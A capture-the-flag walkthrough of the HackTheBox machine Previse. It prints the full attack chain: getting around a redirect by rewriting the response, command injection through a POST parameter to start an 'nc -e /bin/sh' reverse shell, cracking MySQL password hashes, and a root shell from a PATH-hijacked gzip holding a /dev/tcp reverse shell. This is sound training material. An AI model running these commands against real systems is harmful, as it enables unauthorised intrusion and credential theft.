9 minute read

Machine Information


Previse is rated as an easy machine on HackTheBox. An initial scan reveals just two open ports. We start by looking at the website on port 80, and find hidden files by enumerating. We gain access to an account creation page by changing response codes, and then download backup files with our newly gained access. Code review reveals a vulnerability in the website that we use via parameter tampering to gain a reverse shell. Credentials dumped from MySQL are cracked and used to login as a user. Then an unquoted path in a script is exploited to gain a root shell.

Skills required are web and OS enumeration. Skills learned are changing response codes and parameter tampering.

Hosting Site HackTheBox
Link To Machine HTB - Easy - Previse
Machine Release Date 7th August 2021
Date I Completed It 4nd October 2021
Distribution Used Kali 2021.2 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─# nmap -p$ports -sC -sV -oA previse

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 20:36 BST
Nmap scan report for
Host is up (0.025s latency).
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

All we get from the nmap scan is a website on port 80 to look at for now:


File Discovery

This is a simple static login page. Nothing interesting in the source code, time for Feroxbuster:

└─# feroxbuster -u -x pdf -x js,html -x php txt json,docx

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [pdf, js, html, php, txt, json, docx]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Cancel Menu™
301        9l       28w      310c
301        9l       28w      309c
302        0l        0w        0c
302      130l      317w     6084c
302        0l        0w        0c
200        0l        0w        0c
302       71l      164w     2801c
200       53l      138w     2224c
302       93l      238w     3994c
302        0l        0w        0c
200       31l       60w     1248c
200       20l       64w      980c
200        5l       14w      217c
302       74l      176w     2971c
403        9l       28w      277c
[####################] - 2m    719976/719976  0s      found:15      errors:0      
[####################] - 2m    239992/239992  1443/s
[####################] - 2m    239992/239992  1441/s
[####################] - 2m    239992/239992  1443/s

We’ve found a number of php files. Looking through those with a 200 response code, only nav.php is interesting:


Altering Response Codes

All links redirect us to the login page, but if we click on the Create Account link and intercept with Burp then set to intercept response:


Now when we click forward to send the get request we capture this response:

HTTP/1.1 302 Found
Date: Wed, 29 Sep 2021 20:08:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8

A 302 Found response is described here:

The HyperText Transfer Protocol (HTTP) 302 Found redirect status
response code indicates that the resource requested has been
temporarily moved to the URL given by the Location header.

So we are being redirected to the login.php but we can change the response code to 200 OK instead:

HTTP/1.1 200 OK
Date: Wed, 29 Sep 2021 20:08:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8

Now when we send that response in Burp we can switch back to the browser to see the accounts.php page:


Account Creation

We can create an account and then login, which gets us to here:


Clicking around I found the files page:


Backup Files

Downloading the backup file and extracting contents gets us all the files from the site:

└─# unzip siteBackup.zip 
Archive:  siteBackup.zip
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php              

My eyes are drawn to the config.php file, this contains credentials:

└─# cat config.php 
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = '<HIDDEN>';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;

The logs file is also interesting:

└─# cat logs.php 
if (!isset($_SESSION['user'])) {
    header('Location: login.php');

    header('Location: login.php');

//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
} else {

We can see that the script is using the exec function to call python, which then executes a python script, and it takes the parameter delim from the user. We can test this from the command line:

└─# curl -v --cookie "PHPSESSID=1ovoh21p24c94mggubgc3j16dn" -d delim=comma http://previse.htb/logs.php
*   Trying
* Connected to previse.htb ( port 80 (#0)
> POST /logs.php HTTP/1.1
> Host: previse.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: PHPSESSID=1ovoh21p24c94mggubgc3j16dn
> Content-Length: 11
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 11 out of 11 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 29 Sep 2021 20:35:55 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Expires: 0
< Cache-Control: must-revalidate
< Pragma: public
< Content-Description: File Transfer
< Content-Disposition: attachment; filename="out.log"
< Content-Length: 379
< Content-Type: application/octet-stream
* Connection #0 to host previse.htb left intact

Parameter Tampering

We can see that works and I get the comma separated list back. We can abuse this lack of sanitizing input to get a reverse shell. Start netcat listening in another terminal, then use a simple reverse shell which has been URL encoded:

└─# curl -v --cookie "PHPSESSID=1ovoh21p24c94mggubgc3j16dn" -d delim=comma%26nc+-e+/bin/sh+ http://previse.htb/logs.php 
*   Trying
* Connected to previse.htb ( port 80 (#0)
> POST /logs.php HTTP/1.1
> Host: previse.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: PHPSESSID=1ovoh21p24c94mggubgc3j16dn
> Content-Length: 45
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 45 out of 45 bytes

Switching to our waiting netcat listener and we see we have our shell connected:

└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 48260

Let’s upgrade to a better shell first:

python -c 'import pty;pty.spawn("/bin/bash")'

MySQL Enumeration

We are only connected as a low privilege user, but earlier we found mysql credentials so we can have a look in the database:

www-data@previse:/var/www/html$ mysql -u root -p<HIDDEN> -e 'show databases;'
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |

www-data@previse:/var/www/html$ mysql -u root -p<HIDDEN> -e 'show tables from previse;'
| Tables_in_previse |
| accounts          |
| files             |

www-data@previse:/var/www/html$ mysql -u root -pm<HIDDEN> -D previse -e 'select * from accounts;'
| id | username   | password                         | created_at          |
|  1 | m4lwhere   | $1$🧂llol$<HIDDEN>               | 2021-05-27 18:18:36 |
|  2 | admin      | $1$🧂llol$<HIDDEN>               | 2021-09-29 13:25:13 |
| 11 | pencer     | $1$🧂llol$autWM2CFiLP91dbtPvQwc/ | 2021-09-29 20:12:34 |

Hash Cracking

We have users and password hashes. The first user called m4lwhere was seen on the site earlier as the creator, let’s take that hash and see if we can crack it:

└─# echo "\$1\$🧂llol<HIDDEN>" > hash.txt

Use this site to identify the hash type, which is md5:

└─# john hash.txt -format=md5crypt-long -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<HIDDEN> (?)
1g 0:00:06:16 DONE (2021-09-29 22:17) 0.002653g/s 19671p/s 19671c/s 19671C/s ilovecodydean..ilovecody..
Use the "--show" option to display all of the cracked passwords reliably
Session completed

User Flag

Now we have creds we can login in via SSH:

└─# ssh m4lwhere@previse.htb                        
The authenticity of host 'previse.htb (' can't be established.
ECDSA key fingerprint is SHA256:rr7ooHUgwdLomHhLfZXMaTHltfiWVR7FJAe2R7Yp5LQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'previse.htb,' (ECDSA) to the list of known hosts.
m4lwhere@previse.htb's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
Last login: Wed Sep 29 18:53:44 2021 from

Let’s grab the user flag:

m4lwhere@previse:~$ cat user.txt

Privilege Escalation

And first thing I check before anything else is sudo permissions:

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh

Not too surprisingly we find our escalation path. Looking at the script:

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

We see it’s simply zipping up logs, but there is no path to the gzip executable so we can create our own gzip file and use that instead:

m4lwhere@previse:~$ echo "bash -i >& /dev/tcp/ 0>&1" > gzip
m4lwhere@previse:~$ chmod 777 gzip
m4lwhere@previse:~$ export PATH=$(pwd):$PATH
m4lwhere@previse:~$ echo $PATH

Here we’ve just created a file called gzip in the current folder which has a reverse shell in it. Then I’ve made it executable and added the current folder to the system path.

Root Flag

Now we can run the backup script as root, with another netcat waiting in a different terminal:

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

Switching across we see we have our shell connected as root:

└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 55386
root@previse:~# id 
uid=0(root) gid=0(root) groups=0(root)

We can grab the root flag:

root@previse:~# cat /root/root.txt
cat /root/root.txt

And that’s another box completed. I hope you enjoyed this pretty simple one. See you next time.